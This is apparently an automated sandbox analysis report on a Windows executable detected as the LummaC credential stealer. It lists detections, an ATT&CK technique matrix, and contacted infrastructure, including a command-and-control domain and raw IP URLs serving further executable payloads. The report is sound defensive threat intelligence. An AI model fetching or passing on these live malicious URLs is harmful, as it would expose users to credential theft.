Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2107970661.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2107824902.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2108594989.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2108453309.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2716, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 2716, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	34 Virtualization/Sandbox Evasion	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Symmi
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://property-imper.sbs/apix	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exe9	0%	Avira URL Cloud	safe
https://property-imper.sbs/api1	0%	Avira URL Cloud	safe
http://go.mi	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
property-imper.sbs	104.21.33.116	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://property-imper.sbs/api	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_123.5.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_123.5.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_123.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_106.5.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_123.5.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_123.5.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_123.5.dr, chromecache_92.5.dr, chromecache_124.5.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://github.com/gewarren	chromecache_123.5.dr	false		high
http://185.215.113.16/off/def.exepleWebKit/537.36	file.exe, 00000000.00000002.2465866791.00000000004FB000.00000004.00000010.00020000.00000000.sdmp	false		high
https://property-imper.sbs/apix	file.exe, 00000000.00000003.2156005934.0000000005497000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156061561.0000000005498000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2158403692.0000000005531000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_123.5.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_123.5.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_123.5.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://aka.ms/certhelp	chromecache_115.5.dr, chromecache_106.5.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, file.exe, 00000000.00000002.2467068819.0000000000DB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361975873.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://go.mi	file.exe, 00000000.00000002.2470845753.00000000054B4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_123.5.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_106.5.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/rnd.exe	file.exe, file.exe, 00000000.00000002.2467068819.0000000000DB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361975873.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/	file.exe, file.exe, 00000000.00000003.2362103166.0000000000E1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361975873.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2158403692.0000000005531000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_123.5.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_123.5.dr	false		high
http://185.215.113.16/	file.exe, file.exe, 00000000.00000003.2362167031.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/adegeo	chromecache_123.5.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe9	file.exe, 00000000.00000002.2467068819.0000000000DB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361975873.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/jonschlinkert/is-plain-object	chromecache_115.5.dr, chromecache_106.5.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2157137338.00000000054BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/api1	file.exe, 00000000.00000003.2156005934.0000000005497000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2156061561.0000000005498000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/js-cookie/js-cookie	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2182466977.0000000005498000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2181285813.0000000005494000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000002.2467068819.0000000000DB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2361975873.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_123.5.dr	false		high
https://channel9.msdn.com/	chromecache_115.5.dr, chromecache_106.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2109025607.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108707349.000000000544C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108838822.0000000005449000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_115.5.dr, chromecache_106.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.33.116	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561501
Start date and time:	2024-11-23 15:36:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@7/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.54.80.26, 192.229.221.95, 172.217.19.227, 23.218.210.69, 172.217.19.238, 64.233.165.84, 2.20.41.214, 34.104.35.123, 172.217.19.170, 172.217.19.234, 172.217.17.42, 172.217.19.202, 142.250.181.106, 216.58.208.234, 142.250.181.10, 142.250.181.74, 172.217.17.74, 142.250.181.138, 2.19.198.219, 23.32.238.81, 23.32.238.80, 2.19.198.195, 23.32.238.35, 23.32.238.34, 172.217.17.35, 172.217.17.46
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Execution Graph export aborted for target file.exe, PID 2716 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:37:03	API Interceptor	45x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used by Microsoft for educational and documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: u, n, k, n, o, w, n

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
property-imper.sbs	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.33.116
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	S#U043eftWare.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	Aura.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.63
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	n5QCsKJ0CP.exe	Get hash	malicious	RedLine	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.223.140
	Aquantia_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61
	S#U043eftWare.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	arcaneloader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.223.140
	unturnedHack.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	Unknown	Browse	104.21.70.128
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	yakuza.sh.elf	Get hash	malicious	Mirai	Browse	40.97.215.138
	yakuza.i586.elf	Get hash	malicious	Mirai	Browse	22.54.216.176
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.101.168.44
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.89.179.8
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	Q460725_8952397_6525_PDF.htm	Get hash	malicious	Unknown	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.202.163.200 13.107.246.63 23.218.208.109
